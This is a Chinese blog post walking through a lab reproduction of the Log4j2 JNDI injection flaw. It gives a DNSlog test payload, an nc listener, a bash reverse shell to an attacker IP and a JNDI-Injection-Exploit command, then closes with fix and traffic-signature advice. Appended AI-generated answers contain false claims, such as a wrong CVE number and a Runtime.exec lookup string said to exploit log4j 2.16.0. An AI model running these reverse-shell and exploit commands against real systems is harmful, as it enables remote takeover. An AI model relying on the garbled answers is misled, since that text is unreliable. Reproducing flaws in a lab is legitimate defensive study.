log4j2漏洞复现

本文详细描述了Log4j2中的JNDI注入漏洞CVE-2021-4422,涉及LDAP和RMI服务,可导致远程代码执行(RCE)。复现步骤包括DNS验证、payload构建和利用工具的使用。文章还提供了修复建议,如过滤特定字符、限制外部访问和调整jndi配置。
摘要由CSDN通过智能技术生成

最近一直在搞蓝队所以懈怠了更新,主要还是懒得搬笔记

CVE-2021-4422

漏洞原理:log4j2组件在处理程序日志记录时存在JNDI注入缺陷
详解:
在该框架下的lookup查询服务提供了{}字段解析,故payload为${jndi:ldap:恶意url},JNDI会去对对应的服务(如:LDAP、DNS等)查找资源,本例调用LDAP服务,<font color="#f79646">由于对lookup的出栈无限制</font>,导致最终指向攻击者站点,下载远程恶意class文件,最终导致远程rce。
漏洞价值:任意RCE
漏洞利用:LDAP(目录访问协议),RMI(分布式对象应用)

PS:JNDI(java命名和目录接口)用于目录管理,通过名称调用接口

漏洞复现

靶机:192.168.245.1xx
攻击机:192.168.245.1oo

1.DNSlog验证漏洞

payload=\${jndi:ldap\://\${sys:java.version}.DNS地址}

2.攻击机监听端口 7777

nc -lvvp 7777

3.将bash反弹shell命令编码 base64

<font color="#f79646">bash -i >& /dev/tcp/192.168.245.1oo/7777 0>&1</font>
解释:
- bash:启动bash shell
- -i:开启交互式shell会话,允许用户命令输入和获取输出
- >& /dev/tcp/攻击机IP:将输出重定向,将建立一个与该IP和端口相连接的网络套接字,将输出发送至该连接
- 0>&1:输入和输出将通过网络套接字传输

4.使用JNDIexploit进行漏洞利用(注入工具)

poc注意要有JNDI-Injection-Exploit
格式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C
"bash -c {echo,Base64编码后的Payload} | {base64,-d} | {bash,-i}" -A 攻击机IP

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,编码内容}|{base64,-d}|{bash,-i}" -A "192.168.245.1oo"

payload:/?action=${jndi:ldap://}或${jndi:rmi://}ps:我自己测rmi不行不知道啥原因

5.修复总结及流量特征

1.该漏洞的主要成因是LDAP对外部站点资源的访问,导致下载恶意代码,可以禁止lookup的出栈查询。
2.对"jndi:ladp://"、“jndi:rmi”等特征字符过滤。
3.限制对外网的访问。
4.配置jndi可调用协议。

  • 9
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: Apache Log4j2漏洞是一种远程代码执行漏洞,攻击者可以利用该漏洞在受影响的服务器上执行任意代码。攻击者可以通过构造特定的请求,将恶意代码注入到受影响的服务器上,从而实现远程代码执行。该漏洞已被广泛利用,需要尽快修复。建议管理员及时更新受影响的软件版本,以保护服务器安全。 ### 回答2: 近日,全球多个国家的安全研究员纷纷发现一个Apache log4j2漏洞,该漏洞编号为CVE-2021-44228,危害严重。攻击者利用该漏洞可以远程执行恶意代码,入侵服务器、系统和网络,导致极大的信息泄露和系统瘫痪风险。本文将介绍如何在实验环境中进行漏洞复现。 1.环境准备 本次复现可以采用一个简单的demo工程,也可以用一些现有的著名开源项目(如Spring、Kafka)进行复现。这里以demo工程为例。 - 操作系统:Ubuntu 18.04.5 LTS - Java环境:JDK 1.8 - 工程环境:IntelliJ IDEA + Maven 2.漏洞安装 使用Maven构建demo工程,然后在pom.xml文件中加入log4j2依赖,可以使用找公用库的方式如下: ``` <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.16.0</version> </dependency> ``` 其中 version 指定在 这一足以管理员权势时 Apache 官方才刚刚修复的漏洞小版本。 3.漏洞验证 编写一个包含漏洞的代码,如下: ``` package cn.xfakir.demo; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Demo { private static final Logger logger = LogManager.getLogger(Demo.class); public static void main(String[] args) { String payload = "${java.lang.Runtime.getRuntime().exec('calc.exe')}"; logger.info(payload); } } ``` 该代码使用log4j2记录日志的方式,使用 ${} 语法引用payload变量的值,当payload变量的值包含恶意命令时,该漏洞即可成功利用,这里设为calc.exe运行计算器程序。 4.利用漏洞 构建好工程之后,启动demo,如果demo的启动方式是直接运行jar包,可以使用以下命令启动: ``` java -jar Demo-1.0-SNAPSHOT.jar ``` 在控制台看到 INFO 模式下的 ${java.lang.Runtime.getRuntime().exec('calc.exe')} 日志输出,则漏洞被成功利用。 5.修复漏洞 Apache官方已经发布了漏洞修复的版本,建议使用最新版本或对应的补丁,详见官方发布的修复安全公告。除此之外,也可以临时关闭log4j2的服务,防止被攻击。 以上是本文关于apache log4j2漏洞复现的介绍,漏洞的修复和预防对于互联网安全至关重要,希望大家及时更新代码和环境,确保系统网络的安全。 ### 回答3: Apache log4j2是一种流行的Java日志框架,它可以通过配置和代码记录日志。但是,最近发现了一个名为CVE-2021-44228的漏洞,攻击者可以利用该漏洞log4j2中执行任意代码,这是一种非常危险的攻击。 要复现这个漏洞,我们需要遵循以下步骤: 步骤1:下载log4j2的jar文件。可以从log4j官方网站或maven仓库上下载。 步骤2:使用PayloadsAllTheThings项目中提供的一些有效负载对log4j2进行测试。这些有效负载在此处提供https://github.com/cyberheartmi9/CVE-2021-44228。 步骤3:将有效负载复制到代码中。 步骤4:编写一个Java应用程序,用于建立与log4j2之间的连接,并执行有效负载。建议使用MinimalLocking.java,这个java应用程序将在本地服务器上启动log4j2。 步骤5:编译和运行您的Java应用程序。 步骤6:通过TCP端口和JMX控制台,发送构造的payload来攻击log4j2。 在实际操作中,攻击者可能会使用更高级的方法,例如尝试使用日志记录的数据来执行代码。例如,在Java虚拟机中注入Java类,然后在日志输出中使用类的实例。这种方法可能需要攻击者具备更深层次的Java知识。 为了保证系统的安全,建议及时升级log4j2到最新版本,并关注官方通告以了解有关漏洞的最新信息。同时,对于企业用户,建议强化安全性措施,对服务器进行监控和维护,以便及时发现和应对安全漏洞
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值